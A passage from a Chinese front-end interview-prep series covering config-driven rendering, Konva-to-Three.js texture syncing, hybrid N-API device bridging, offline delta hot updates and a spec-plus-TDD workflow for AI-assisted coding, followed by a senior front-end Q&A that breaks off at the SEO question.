  const fitted = resolveOverflow(anchored, viewport.safeArea);   // 按优先级压缩/裁切
  return assertConstraints(fitted, viewport);                    // 约束校验，违反即构建期报错
}

③ 场景注入：模板不感知场景

场景差异（数据接口、主题色板、语言、字体栈）全部收敛为一份 SceneContext，在 Schema 解析阶段完成变量替换。模板作者永远只面对一份 Schema。

④ 类型与校验前置

Schema、约束、场景上下文全部有 TypeScript 类型定义，配置错误在编译期暴露；发布流水线里增加一步"全画幅渲染快照比对"，任何组合渲染异常直接拦截发布。

1.4 收益与复盘

新增一个画幅：从"改 N 个模板 + 全量回归"变成"写一份画幅约束配置 + 快照验证"；
模板代码量下降约 60%，布局 bug 修复从多处收敛为求解器单点；
最重要的经验：配置驱动的边界要划清——规则进代码，组合进配置。曾有人提议把"元素的动画时序"也做成配置，结果配置 DSL 复杂到没人会写，后来退回代码层用预设动画承接。配置化不是越多越好，配置的复杂度也是一种代码。

二、Konva 2D 画布 × Three.js：让设计稿"贴"进 3D 场景并可交互编辑

2.1 需求场景

用户在设计器里编辑 2D 画面（Konva 画布），需要实时预览"这个画面贴到 3D 样机/屏幕/展架上"的效果，并且可以直接在 3D 视图里点选、拖拽 2D 元素——所见即所得的 2D↔3D 联动。

2.2 技术方案：CanvasTexture 单向数据流 + UV 反向交互

① 2D → 3D：CanvasTexture

Konva 的 Layer 本质是 <canvas> 元素，可直接作为 Three.js 纹理源：

const konvaCanvas = konvaLayer.getCanvas()._canvas;
const texture = new THREE.CanvasTexture(konvaCanvas);
texture.colorSpace = THREE.SRGBColorSpace;
mesh.material = new THREE.MeshBasicMaterial({ map: texture });

② 更新节流：一帧最多上传一次

每次 Konva 重绘都置 texture.needsUpdate = true 会把 GPU 带宽打满（纹理上传是同步开销）。正确做法是用 rAF 合并脏标记：

let dirty = false;
stage.on('draw', () => { dirty = true; });

renderer.setAnimationLoop(() => {
  if (dirty) {
    texture.needsUpdate = true;
    dirty = false;
  }
  renderer.render(scene, camera);
});

同时按 3D 场景的实际展示尺寸对画布降采样——2D 编辑画布可能是 4K 的，3D 预览里贴图 1080p 足够，显存直接省 4 倍。

③ 3D → 2D：射线检测 + UV 反算

在 3D 场景点击模型表面时：

raycaster.setFromCamera(pointerNdc, camera);
const hit = raycaster.intersectObject(mesh)[0];
if (hit.uv) {
  // UV(0~1) 反算到 2D 画布坐标系
  const x = hit.uv.x * konvaStage.width();
  const y = (1 - hit.uv.y) * konvaStage.height();  // 注意 V 轴翻转
  // 把点击事件转发给 Konva 命中系统
  const shape = konvaLayer.getIntersection({ x, y });
  shape?.fire('click', { evt: syntheticEvent });
}

拖拽同理：射线持续求交，把 UV 位移量换算成 Konva 节点的 dragBoundFunc 约束内位移。

2.3 踩坑记录

UV 翻转：Canvas 的 Y 轴向下、纹理 V 轴向上，忘了翻转会导致交互位置上下镜像；
纹理色偏：不做 SRGBColorSpace 声明，贴图颜色在 3D 光照下明显发灰；
大画布显存：mipmap 开启后显存 +33%，非正交视角下建议开、正视 UI 场景可以关；
双渲染循环打架：早期版本 Konva 和 Three.js 各跑各的 rAF，帧率互相抖动。合并为单一动画循环驱动两者后稳定。

2.4 架构原则

这套协同能长期维护的关键是职责单向：2D 画布是内容的唯一真相源（single source of truth），3D 只是它的一个"观察者 + 交互代理"；交互事件可以回流，但 3D 层永远不直接改内容数据。一旦允许双向随意写，状态同步会变成噩梦。

三、Hybrid 硬件跨端：一份前端产物驱动桌面客户端与 UVC 外设

3.1 整体架构

产品形态是"Web 技术栈的桌面应用 + 外接硬件（UVC 摄像头等外设）"，同一份前端产物还要跑在浏览器和移动 WebView 里做降级体验。架构分三层：

┌────────────────────────────────────────┐
│ 业务层（React）—— 只依赖统一能力接口      │
├────────────────────────────────────────┤
│ Bridge SDK —— 能力探测 / 协议版本协商     │
├──────────┬──────────┬──────────────────┤
│ WebView  │ 桌面IPC   │ 浏览器降级        │
│ Adapter  │(N-API)   │(WebRTC/WebAPI)   │
└──────────┴────┬─────┴──────────────────┘
                │
        C++ 设备 SDK（独立子进程）

3.2 N-API 桥接 C++ SDK

设备 SDK 是 C++ 回调风格，N-API 封装的三个关键点：

① ThreadSafeFunction 跨线程回抛

设备事件（帧数据、状态变化）来自 C++ 工作线程，必须用 napi_threadsafe_function 安全地调度回 JS 主线程，直接在非 JS 线程调 napi 函数会崩溃。

② 回调转 Promise/EventEmitter

// 封装后的对外 API：一次性指令走 Promise，持续事件走 EventEmitter
const devices = await deviceBridge.enumerate();          // Promise
deviceBridge.on('frame', (frame: FrameBuffer) => {});    // 事件流
deviceBridge.on('stateChange', (s: DeviceState) => {});

③ 帧数据的背压控制

摄像头 30fps 出帧，JS 侧渲染消费不了 30fps 时，绝不能让帧在队列里堆积（内存暴涨 + 延迟累积）。策略：只保留最新帧（drop-old），共享内存传帧 + 元数据消息通知，JS 侧 rAF 消费。

3.3 设备状态机：热插拔是最大的敌人

USB 设备随时可能插入、拔出、被其他进程占用、固件异常。我们把设备生命周期建模为显式状态机：

disconnected → connecting → ready ⇄ busy
                    ↓           ↓
                  error ←───────┘
                    ↓
              reconnecting（指数退避）→ connecting

每次状态迁移广播事件，UI 层只做订阅式防御渲染——任何界面元素都假设设备可能在下一帧消失；
重连成功后必须重新协商会话（分辨率、帧率、控制参数），不能复用断开前的状态；
设备被占用（另一个进程持有）时给出明确错误码和文案，这类"环境问题"占了客服工单的大头。

3.4 崩溃隔离

C++ SDK 崩溃不能带走客户端主进程：SDK 跑在独立子进程，通过 IPC 通信；主进程心跳监控，异常退出自动拉起并驱动状态机进入 reconnecting。上线后 SDK 崩溃对用户的表现从"应用闪退"降级为"设备短暂断开后自动恢复"。

3.5 复盘

前端工程师做到这一层的价值：排查半径覆盖全链路。"画面不出来"这种问题，可能出在 USB 枚举、格式协商、N-API 桥、帧消费、渲染层任何一环——只懂 JS 的人只能把问题踢给客户端团队等排期，能读 C++ 日志、能抓 USB 描述符的前端可以当场定位到层。

四、离线包差量热更新：H5 发版的分钟级触达

4.1 为什么需要离线包

Hybrid 场景下 H5 走线上 URL 有两个死穴：

WebView 缓存策略不可控，新版本资源"半新半旧"是常态；
弱网/无网环境（门店、展厅、交通工具）直接白屏。

离线包方案：静态资源打包下发到客户端本地，WebView 通过资源拦截（Android shouldInterceptRequest / iOS WKURLSchemeHandler）读本地文件，加载耗时从秒级降到几十毫秒，且天然支持无网运行。

4.2 差量更新设计

全量包动辄几十 MB，每次发版全量下载不可接受。差量方案：

① 版本清单（manifest）

{
  "version": "20260915.3",
  "baseVersion": "20260901.1",        // 差量基准
  "files": [
    { "path": "assets/index.8f3a.js", "hash": "8f3a...", "size": 421337 },
    { "path": "assets/vendor.c21b.js", "hash": "c21b...", "size": 892011 }
  ],
  "signature": "..."                   // 包签名
}

② 更新流程

客户端上报当前 version + 文件哈希表
        ↓
服务端 diff → 返回变更文件清单（增/删/改）
        ↓
并发下载变更文件（大文件可选 bsdiff 二进制差量）
        ↓
写入 staging 临时目录 → 逐文件哈希校验
        ↓
全部通过 → 原子切换版本指针 → 清理旧版本（保留上一版）

③ 三个保命设计

原子切换：更新过程中 WebView 读到的永远是完整的旧版本，绝不存在"半更新"状态被加载；
自动回滚：新版本启动后若崩溃计数超阈值（如 3 次），自动回退上一版本并上报，坏包影响面被限制在一个发布批次内；
签名校验 + 防降级：包体签名防篡改；版本号单调递增校验，防止中间人诱导回滚到有漏洞的旧版。

4.3 收益

发版触达：从"用户下次冷启动 + 缓存过期"的天级，变为推送后分钟级；紧急 bugfix 不再依赖 WebView 缓存玄学；
流量：典型迭代差量包只有全量的 10%~20%；
首屏：本地资源加载让弱网环境首屏时间从 3s+ 降到 500ms 内。

五、spec + TDD 的 AI 协作流：把 AI 从"玩具"变成"生产线"

5.1 问题：AI 写代码快，但"不敢合"

直接用自然语言让 AI 写功能，产出看起来像模像样，合入时却心里没底：边界条件漏了没有？改动有没有波及无关逻辑？测试是谁写的——AI 自己写测试给自己打分，等于没有测试。

AI 辅助研发的瓶颈从来不是生成速度，而是验证成本。

5.2 工作流设计

我把协作流程规范成四步，核心思想是把人的精力从"审查代码"前移到"审查规范与计划"：

Step 1 — Spec 先行（人主导，AI 起草）

需求先收敛为结构化 spec：

## 背景
## 目标（可验收的行为描述）
## 非目标（明确不做什么）
## 边界与异常（空数据/超时/并发/权限）
## 验收标准（Given-When-Then 列表）

模糊需求在这一步被逼着显形——写不出验收标准，说明需求本身没想清楚，这时候写代码（无论人写还是 AI 写）都是浪费。

Step 2 — 测试先行（AI 生成，人裁决）

让 AI 把验收标准翻译成测试用例。先审测试再审实现：测试用例是否覆盖边界、断言是否精确、有没有"实现什么就断言什么"的同义反复。测试通过了人的裁决，才允许进入实现。

Step 3 — 实施计划（AI 生成，人审查）

AI 输出改动计划：涉及文件清单、每个文件的改动意图、每步的验证命令。人审查的是计划的合理性（有没有不该动的文件被动了、步骤是否可独立验证），而不是等代码写完再审 diff。

Step 4 — 执行 + 行级归因

AI 按计划实施，每步测试绿灯再进下一步。最终 diff 做行级归因：

每一行改动对应 spec 的哪一条？
归因不到的改动 = 未经授权的发挥，一律拒收或补 spec；
关键路径代码人工重写或逐行确认，AI 负责脚手架、测试和样板。

5.3 工程化配套

自定义 Skill：把团队规范固化为可复用的 AI 技能——按组件模板生成"组件 + 测试 + 文档"三件套、按 commit 规范生成提交信息，保证 AI 产出天然符合团队约定；
MCP 工具链：接入内部文档库、监控平台、设计稿系统，AI 能直接查线上错误堆栈、读接口文档，减少人工喂上下文的损耗；
CI 卡口：AI 参与的 PR 走同一套门禁（类型检查、测试覆盖率、性能预算），不因为是 AI 写的就降低标准，也不因为是 AI 写的就额外怀疑。

5.4 效果与认知

在需求清晰的任务上（表单页、接口对接、工具函数、测试补全），从需求到可合入 PR 的周期缩短约 50%~70%；
在需求模糊的任务上，流程强制把"想清楚"前置，返工率明显下降——这部分收益比速度更重要；
最大的认知转变：AI 时代前端工程师的稀缺能力是"把需求写成无歧义规范"和"设计验证闭环"。生成代码会越来越便宜，定义"什么是对的"永远贵。

复习卡片速记

[!TIP] 五大深水区实践一句话速记

配置驱动渲染：规则进代码、组合进配置；四层架构（Schema / 约束 / 场景 / 运行时）；约束求解 ≠ 等比缩放；配置的复杂度也是一种代码

2D×3D 协同：CanvasTexture 单向数据流 + rAF 节流上传 + UV 反算交互回流；2D 是唯一真相源，3D 只做观察者 + 交互代理

Hybrid 硬件链路：统一 Bridge + 能力探测；N-API ThreadSafeFunction 回抛 + drop-old 背压；设备状态机 + 子进程崩溃隔离

离线包热更新：manifest 差量下发 + 原子切换 + 自动回滚 + 签名防降级；发版从天级到分钟级

AI 协作流：spec 先行 + 测试先行 + 实施计划 + 行级归因；瓶颈不是生成速度而是验证成本

总结

[!IMPORTANT] 回看这五个实践，贯穿始终的是同一套方法论：

实践	收敛动作
配置驱动渲染	组合爆炸 → 规则与配置分离
2D×3D 协同	双向纠缠 → 单向数据流 + 事件回流
Hybrid 硬件链路	宿主碎片化 → 统一 Bridge + 状态机
离线包热更新	发版不可控 → 清单化 + 原子切换 + 自动回滚
AI 协作流	生成不可信 → spec 先行 + 验证闭环 + 行级归因

深水区问题的解法几乎都不是"更强的技巧"，而是"更清晰的边界"：谁拥有数据、谁负责适配、什么时候允许失败、失败了怎么兜底。把这些边界定义清楚，剩下的只是实现。

[!TIP] 🎉 恭喜！ 你已完成《前端面试宝典》全部 22 篇文章的学习（00 总览 + 21 专题）。从 HTML/CSS/JS 三剑客到框架跨端、工程化网络、后端知识、进阶必修、软素质 HR 面，再到 Node.js 全栈与本篇的深水区实战，这套知识库覆盖了 6 年中高级前端的完整能力版图。

上一篇：资深前端核心能力问答（24 问"怎么想"）

返回面试宝典总览 | 面试宝典合集页

最后想说：框架和工具会过时，"把复杂问题收敛为可维护系统"的方法论不会。祝面试顺利，拿到心仪 Offer！🎉

资深前端核心能力问答（双栈 / 图形渲染 / Hybrid / AI 研发）

Wed, 16 Sep 2026 15:30:00 GMT

[!NOTE] 本文是《前端面试宝典》的资深实战问答扩展篇，以问答形式沉淀 6 年前端在 React/Vue 双栈、图形可视化、Hybrid 硬件跨端、工程化性能、国际化与 AI 辅助研发上的实践。每个问题都附上真实思考路径，既可做面试自查清单，也适合同行交流。难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

一、React / Vue 双栈与 TypeScript

Q1：同时精通 React 和 Vue，实际选型时你怎么决策？⭐⭐⭐ 🔥

考察点：是否理解两个框架的设计哲学，而不是只会 API。

参考回答：

我不认为"哪个更好"是个有意义的问题，选型要看三个维度：

团队基因：团队之前用什么、成员的心智模型是什么，迁移成本永远比框架优劣更贵。
业务形态：
- 中后台、强表单、快速交付 → Vue + Element/ProComponents 生态成熟，模板语法对多人协作更友好；
- 复杂交互、重状态逻辑、需要精细控制渲染 → React 的函数式模型 + Hooks 组合能力更强，配合 zustand 这类原子化状态库可以做到很细的渲染控制。
渲染目标：需要 SSR/SEO 深度定制时，Next.js 生态目前仍是第一梯队；纯客户端应用两者差距不大。

我自己的习惯是：在 React 里用 Vue 的思维审视模板复杂度，在 Vue 里用 React 的思维审视状态流向。双栈的价值不是会两套 API，而是能跳出单一框架的惯性去设计架构。

Q2：React 和 Vue 的响应式原理有什么本质区别？⭐⭐⭐ 🔥

参考回答：

Vue：编译时 + 运行时结合的依赖收集。Vue 3 用 Proxy 拦截数据读写，组件渲染时收集依赖，数据变更时精确通知到依赖它的组件，更新粒度是"组件级 + 依赖级"。
React：不可变数据 + 调度重渲染。状态变更触发组件及其子树重新执行 render 函数，通过 diff 决定真实 DOM 操作。React 不追踪"谁依赖了哪个数据"，所以需要 memo / useMemo / useCallback 手动做优化，或者靠 zustand 这类带 selector 的状态库实现精确订阅。

一句话总结：Vue 把优化做在框架里，React 把优化交给开发者。这也解释了为什么 React 项目更容易出现"改一处、渲染一片"的性能问题——它是心智模型层面的差异。

Q3：TypeScript 在大型项目里怎么落地，遇到过哪些深水区问题？⭐⭐⭐

参考回答：

落地路径上我推动过三件事：

严格模式渐进开启：先 strictNullChecks，再全量 strict，配合 CI 卡口防止回退；
类型收口：接口类型从服务端 Schema（OpenAPI/protobuf）自动生成，杜绝手写漂移；
公共类型库：把业务实体、枚举、组件 Props 规范沉淀到 monorepo 的 shared 包。

深水区问题举两个例子：

泛型与配置驱动：做「模板 × 场景 × 画幅」这类配置化渲染时，需要用条件类型 + 映射类型让配置项和组件 Props 联动，配置写错在编译期就报错，而不是运行时白屏；
声明文件的坑：调用 C++ SDK 的 N-API 桥接层、UVC 设备协议这类没有类型的原生模块，需要手写 .d.ts 并把回调风格封装成 Promise 泛型，保证调用侧类型完整。

我的观点是：TS 的收益不在写的时候，而在改的时候。类型覆盖率上到 90% 以后，重构的心理成本会下降一个数量级。

二、Next.js：SSR / SSG / ISR 的取舍

Q4：SSR、SSG、ISR 分别适合什么场景？ISR 的实现原理是什么？⭐⭐ 🔥

参考回答：

模式	生成时机	适用场景	代价
SSG	构建时	官网、文档、活动页	内容更新要重新构建
SSR	每次请求	强实时、个性化页面	服务器压力大、TTFB 高
ISR	构建时 + 过期后台再生成	商品详情、资讯列表	有短暂的数据陈旧窗口

ISR 原理：页面带 revalidate 时间，过期后的第一个请求仍返回旧页面（stale），同时后台触发再生成，生成完成后原子替换缓存——即 stale-while-revalidate 策略。它把 SSG 的性能和 SSR 的时效性折中了。

Q5：SSR 项目最常见的坑有哪些？⭐⭐⭐

参考回答：

同构代码的环境判断：window / document 在 Node 端不存在，需要动态 import 或 useEffect 内访问；Konva、Three.js 这类 Canvas 库必须 ssr: false 或客户端懒加载；
数据获取的瀑布流：getServerSideProps 里串行 await 多个接口会拖垮 TTFB，要 Promise.all 并行，或下沉到 BFF 聚合；
hydration mismatch：服务端和客户端渲染结果不一致（时间戳、随机数、UA 相关逻辑）会导致整棵树降级重渲染，必须保证首屏输出确定性；
缓存分层：CDN 缓存、Next.js 的 fetch 缓存、浏览器缓存三层要统一设计，尤其是带 Cookie 的个性化页面必须 Cache-Control: private。

三、图形与可视化：Konva、Three.js 与配置驱动适配

Q6：复杂画布应用怎么做图层编排？Konva 的性能瓶颈在哪里？⭐⭐⭐

参考回答：

图层编排：Konva 的 Layer 对应独立 Canvas，我把图层按"更新频率"划分而不是按业务划分——静态背景一层、低频元素一层、高频交互（拖拽、动画）一层。高频层重绘不会波及静态层，这是 Konva 性能优化的第一原则。

瓶颈与对策：

节点数量：上千节点时命中检测（hit graph）变慢 → 简化非交互元素的 hitFunc，或 listening: false 跳过检测；
重绘范围：整层重绘代价高 → 拆分 Layer，必要时用 layer.draw() 局部控制；
图片解码：大量高清图同步 decode 卡主线程 → 预加载 + createImageBitmap 异步解码 + LRU 缓存；
导出场景：toDataURL 大画布很慢 → 导出走离屏 Canvas + Worker 处理（OffscreenCanvas），主线程不阻塞。

Q7：2D 画布转纹理和 Three.js 协同渲染，具体怎么做的？⭐⭐⭐

参考回答：

场景是需要在 3D 场景里展示可交互编辑的 2D 内容（如画布设计稿贴到 3D 样机上）。方案：

Konva 画布本身就是一个 <canvas> 元素，直接作为 THREE.CanvasTexture 的源；
关键在更新节流：Konva 每次重绘后标记 texture.needsUpdate = true，但不能每帧都传——用 rAF 合并，一帧最多上传一次；
大画布显存压力：2D 画布分辨率高时纹理占用显存大，按 3D 场景实际展示尺寸做降采样，并设置合理的 mipmap；
交互映射：3D 场景里点击模型表面，通过射线检测拿到 UV 坐标，反算回 2D 画布坐标，转发给 Konva 的命中系统——实现"在 3D 里编辑 2D"。

这套协同的核心经验：2D 和 3D 各自维护单一职责，用纹理做单向数据流，用坐标映射做交互回流，不要试图让两个渲染循环互相侵入。（完整实现见前端深水区实战第二章）

Q8：「模板 × 场景 × 画幅」这种多维组合问题，配置驱动怎么设计？⭐⭐⭐ 🔥

参考回答：

这是我最有代表性的架构实践。问题本质：模板有 N 种、场景有 M 种、画幅有 K 种，if-else 写死是 N×M×K 的分支爆炸。

设计分四层：

Schema 层：用 JSON Schema 描述"一个画面由哪些元素组成、每个元素的可变属性（位置、尺寸、数据源、可见条件）"；
约束层：画幅变化不是简单缩放——定义元素的对齐规则、伸缩优先级、最小尺寸、溢出策略（裁切/缩放/隐藏），类似 CSS 的约束求解，但由配置声明；
场景层：场景差异（数据源、主题、语言）以"变量注入"方式解析进 Schema，模板本身不感知场景；
运行时层：统一的渲染管线消费解析后的配置，Konva 和 DOM 两套渲染器实现同一接口。

收益：新增一个画幅从"改 N 个模板"变成"写一份约束配置"；组合正确性由 TS 类型 + Schema 校验在编译期/发布前拦截。把组合问题从代码空间搬到配置空间，是这类需求的通解。（四层架构与求解器代码见前端深水区实战第一章）

四、Hybrid 与硬件跨端

Q9：同一份前端产物适配 Android / iOS WebView、桌面客户端与浏览器，架构上怎么做？⭐⭐⭐ 🔥

参考回答：

核心是桥接层抽象 + 能力降级矩阵：

统一 Bridge SDK：定义与宿主无关的能力接口（相机、存储、支付、设备信息、窗口控制），每个宿主实现一个 adapter：
- Android：JavascriptInterface / addWebMessageListener；
- iOS：WKScriptMessageHandler；
- 桌面客户端（Electron/CEF）：preload 注入 IPC；
- 浏览器：降级实现（WebRTC / IndexedDB / Web API）或标记能力不可用。
能力探测而非宿主嗅探：启动时握手交换 capability 列表，业务代码只问"有没有这个能力"，不问"在哪个宿主"。UA 嗅探是不可维护的。
构建期分平台产物：webpack/Rollup 按宿主维度出包，用环境变量裁剪掉不可能用到的 adapter，控制包体。
通信协议版本化：Bridge 协议带版本号，客户端升级慢于 H5 时按版本协商降级，这是 Hybrid 长期维护的生命线。

Q10：Node N-API 调用 C++ SDK、对接 UVC 摄像头，前端工程师做到这一层的价值是什么？难点在哪？⭐⭐⭐

参考回答：

价值：打通"前端产物 → 桌面客户端 → 外设硬件"的全链路，设备相关问题不用等客户端团队排期，排查半径覆盖全链路。

实践要点：

N-API 封装：C++ SDK 是回调风格，N-API 层用 ThreadSafeFunction 把设备事件安全地抛回 JS 主线程，再封装成 EventEmitter + Promise 的 API；
UVC 协议：设备枚举、格式协商（分辨率/帧率/YUYV-MJPEG）、控制指令（曝光、对焦）都要处理；采集帧经共享内存/回调传给渲染层，注意背压——JS 消费不过来时要丢帧策略而不是堆积；
设备状态同步机制：热插拔是最大难点。设计了"设备状态机 + 事件广播"：连接、就绪、忙、异常、断开每个状态迁移都发事件，UI 层订阅后做防御性渲染；断线重连用指数退避，重连成功后校验会话（比如摄像头被其他进程占用要给出明确错误）；
崩溃隔离：C++ 层崩溃不能带走整个客户端进程，SDK 跑在独立子进程，主进程监控心跳自动拉起。

Q11：离线包差量热更新怎么设计？⭐⭐⭐

参考回答：

包的粒度：离线包 = 静态资源 bundle + 版本清单（manifest：文件哈希列表）；
差量下发：客户端上报本地版本 manifest，服务端对比算出差量文件列表，只下载变更文件（文件级 diff 足够，bsdiff 级二进制 diff 用于超大单文件）；
原子切换：下载写入临时目录，全部校验通过后一次性切换软链/路径指针，避免半更新状态；
回滚兜底：保留上一版本，新版本首启崩溃计数超阈值自动回滚；
安全：包签名校验（防篡改）+ HTTPS 下发 + 版本号防降级。

这套机制让 H5 功能发布摆脱了 WebView 缓存和发版节奏的约束，紧急修复分钟级触达。（manifest 结构与更新流程见前端深水区实战第四章）

五、工程化与性能优化

Q12：webpack / Rollup 构建调优，你的方法论是什么？⭐⭐ 🔥

参考回答：

先测量再优化，顺序是：

定位耗时：webpack 用 speed-measure-plugin，Rollup/Vite 看 phase 耗时；
缓存：filesystem cache、babel/swc 缓存、持久化缓存到 CI（命中率是关键指标）；
换编译器：babel → swc/esbuild，loader 层提速通常 5~10 倍；
减少工作量：DLL/预构建第三方库、缩小 resolve 范围、include/exclude 精确化；
并行：thread-loader、多入口分包并行构建；
产物层：分平台构建时用环境变量 + DefinePlugin 做 tree-shaking 友好的死代码消除，避免把全宿主 adapter 打进一个包。

我的原则：构建时间优化的尽头是缓存和任务图，不是调参。

Q13：字体子集化和包体裁剪怎么做？⭐⭐

参考回答：

字体是国际化产品的包体大户，一个全量 CJK 字体 10MB+：

子集化：用 fonttools/pyftsubset 按"实际用到的字符集"裁剪——静态文案直接扫描源码提取；动态内容（用户昵称、商品名）按 GB2312 常用字 + 业务词库兜底；
多语言分片：按 unicode-range 切分 woff2 分片，浏览器按需加载对应语言的字体分片，而不是一次拉全量；
授权字体处理：商用授权字体往往不能修改原文件，和字体厂商确认子集化授权，或用"系统字体栈 + 关键标题用图/SVG"的策略绕开；
包体裁剪：bundle analyzer 常态化，lodash/moment 这类全家桶换成 lodash-es/按需引入或 dayjs；组件库用 ESM + sideEffects 配置保证 tree-shaking 生效。

Q14：渲染性能治理，你的排查和落地流程？⭐⭐⭐ 🔥

参考回答：

流程是"度量 → 归因 → 治理 → 防劣化"：

度量：Performance 面板录制定位长任务；线上用 PerformanceObserver 采集 LCP / INP / 长任务分布，按机型分档看 P75 而不是平均值；
常见归因：
- JS 长任务阻塞主线程 → 拆片（scheduler / requestIdleCallback）、移入 Worker；
- 高频重渲染 → React 侧 selector 精确订阅、memo 边界；Canvas 侧图层拆分（见 Q6）；
- 布局抖动 → 读写分离，批量 DOM 操作；
- 图片解码 → 异步 decode + 尺寸预设防 CLS；
防劣化：CI 里跑 Lighthouse CI，性能预算（bundle size / LCP）超标直接卡合并。性能治理不是一次项目，是一套门禁。

Q15：埋点体系怎么设计？线上问题如何定位？⭐⭐⭐

参考回答：

埋点设计：

分层：全埋点（PV/点击/曝光自动采集）+ 代码埋点（业务语义事件）+ 性能埋点（Web Vitals）+ 异常埋点（error/unhandledrejection/资源加载失败）；
声明式优先：曝光和点击用指令/HOC 声明，业务代码不手写上报，schema 统一管理事件字典，防止口径漂移；
上报策略：批量合并 + 空闲上报 + 页面卸载时 sendBeacon，采样率按事件类型分级。

线上定位：错误上报带 sourcemap 还原堆栈 + 用户行为回溯（breadcrumb）+ 设备/宿主/版本维度。我落地的关键一步是异常和埋点串联：一条报错能看到用户前 30 步操作路径和所在宿主环境，Hybrid 场景下"哪个客户端版本 + 哪个 H5 离线包版本"的组合问题靠这个定位效率提升非常明显。

六、状态管理与架构设计

Q16：zustand 和 Redux 怎么选？⭐⭐ 🔥

参考回答：

Redux（+RTK）：强规范、中间件生态成熟、devtools 时间旅行完善，适合大团队强约束、状态流转复杂需要审计的场景；
zustand：API 极简、无 Provider、selector 精确订阅天然对渲染友好，适合中小规模状态、跨组件工具型状态（如画布编辑器状态、设备连接状态）。

我的实际决策依据是状态的性质：业务流转型状态（表单流、下单流）需要明确 action 语义的用 Redux 风格；工具型/视图型状态（UI 状态、订阅式数据）用 zustand。两者混用没有问题，关键是团队约定清楚每类状态归谁管。

Q17：讲一个你做过的"重复逻辑收敛为共用组件"的实际案例？⭐⭐⭐

参考回答：

典型场景：多个业务分支各自实现了"设备选择 + 状态展示 + 重连操作"的 UI，行为细节互不一致（有的轮询、有的事件驱动，错误文案五花八门），维护时一个 bug 要改四处。

收敛步骤：

先梳理差异再抽象：把各分支实现的行为列成矩阵，区分"本质差异"（业务确实不同）和"实现漂移"（本该一样但写岔了）；
分层抽象：底层是无 UI 的 useDeviceSession hook（连接状态机 + 事件订阅），中层是带默认交互的组合组件，顶层允许业务通过 Props/slot 定制；
配置化承接差异：本质差异不进代码分支，进配置项；
迁移策略：新旧并存一个迭代，灰度切换，用埋点对比迁移前后行为一致性。

抽象的度我有个经验法则：第三次重复出现时再抽象，前两次忍住。过早抽象的成本比重复代码更高，因为你还不知道哪些是变轴。

七、Node.js BFF 与全栈链路

Q18：BFF 层解决什么问题？用 Egg.js / Express 怎么设计？⭐⭐⭐

参考回答：

BFF 解决的是"端的诉求和服务端的领域模型不匹配"：

接口聚合：一个页面要调 4 个微服务，BFF 聚合成 1 个请求，串行变并行，弱网收益显著；
数据裁剪与整形：服务端返回的领域模型字段多、结构深，BFF 按端（H5/小程序/桌面）输出恰好需要的结构；
端侧逻辑上收：权限拼装、多语言文案选择、降级策略放 BFF，各端不用重复实现。

设计上注意：BFF 是薄层，不承载核心业务规则和事务；做好超时与熔断（下游慢不能拖死 BFF）；缓存放在 BFF 层收益最大（页面级数据 Redis 缓存 + 主动失效）。

我有 Java（Spring Boot + MyBatis + Nacos）服务端经验，所以能独立打通「后台配置 → 服务端下发 → 端上消费」全链路——这个能力在做配置驱动渲染系统时特别关键：配置模型怎么定义、下发协议怎么设计、灰度怎么做，前端一个人就能端到端负责。（Node.js 服务端更多细节见 Node.js 面试题专篇）

八、国际化工程

Q19：多语种文案体系怎么设计？缺失怎么监控？⭐⭐

参考回答：

文案管理：文案 key 化，源语言（如中文）为基准，翻译平台管理词条，构建时按语言产出资源包；
缺失监控：
- 构建期：扫描代码中的 key 与语言包 diff，缺失直接 CI 告警；
- 运行期：i18n 库的 missing handler 上报缺失 key + 页面 + 语言维度，聚合后就是"翻译缺口看板"；
按需加载：语言包按页面/模块分片，跟随路由懒加载，而不是一次性全量下发；
排版问题：德语/俄语文案比中文长 30%~100%，UI 必须弹性布局 + 关键位置定义截断/换行策略，这类问题要在设计规范层面前置解决。

Q20：多语言下的字体问题怎么处理？⭐⭐

参考回答：

三个层面：

字符集裁剪：按目标语言裁字体子集（阿拉伯语、泰语、CJK 各自独立分片），unicode-range 按需加载；
授权替换：品牌字体在部分地区无授权时，定义"授权字体 → 地区替代字体"的映射表，font-family 栈按语言环境动态生成；
排版适配：RTL（阿拉伯语/希伯来语）用逻辑属性（margin-inline-start 代替 margin-left）；行高、断词（word-break / hyphens）按语言配置。

九、AI 辅助研发

Q21：你说的"规范驱动（spec + TDD 实施计划）的人机协作流程"具体是怎么运作的？⭐⭐⭐ 🔥

参考回答：

这是我目前主推的工作流，分四步：

Spec 先行：需求先写成结构化 spec（背景、边界、验收标准、非目标），人负责把模糊需求收敛成无歧义文档——这一步 AI 辅助起草，人做裁决；
TDD 实施计划：让 AI 基于 spec 先产出测试用例（验收标准的可执行化），再生成实施计划（改动文件清单 + 每步验证方式），人审查计划而不是审查生成结果；
执行与校验：AI 按计划实施，每步跑测试绿灯再进下一步；
行级归因：对 AI 产出的 diff 逐行做归因审查——"这行改动对应 spec 哪一条？测试覆盖了没有？"不能归因的改动一律拒收。

关键认知：AI 放大的是清晰需求的产出效率，放大不了模糊需求的正确率。spec 写得越准，AI 的价值越大；跳过 spec 直接"帮我写个 xxx"，返工成本会吞掉所有效率收益。（完整工作流见前端深水区实战第五章）

Q22：Claude Code、自定义 Skill、MCP 工具链你分别怎么用？⭐⭐

参考回答：

Claude Code：日常主力，承担仓库级理解、跨文件重构、测试生成。用得好的关键是给它足够的上下文约定（项目规范文件）和明确的验证闭环（测试命令）；
自定义 Skill：把团队高频流程固化成 Skill——比如"按我们的 commit 规范生成提交信息""按组件模板生成新组件+测试+文档"，把个人经验变成团队可复用的自动化；
MCP：打通 AI 与内部系统的边界——接内部文档库、设计稿平台、监控平台，让 AI 能直接查线上报错、读设计规范，而不是靠人复制粘贴喂上下文。

对 AI 产出的质量底线：任何合入必须经过行级归因 + 本地自测，AI 是初稿引擎，人是最终责任人。

十、部署运维与 SEO

Q23：前端工程师需要掌握 Docker / K8s / Nginx 到什么程度？⭐⭐

参考回答：

不需要到 SRE 深度，但要能独立完成"部署与排障闭环"：

Nginx：路由转发、gzip/brotli、缓存头策略、SPA history fallback、反向代理与跨域处理——这些直接决定前端性能优化的最后一公里；
Docker：多阶段构建（node 构建 + nginx 运行）、镜像瘦身、构建缓存优化；
K8s：看得懂 Deployment/Service/Ingress/ConfigMap，能自己排查 Pod 起不来（镜像、探针、资源限制）、能配合灰度发布调整路由权重。

Q24：前端 SEO 优化你实际做过哪些？⭐⭐ 🔥

参考回答：

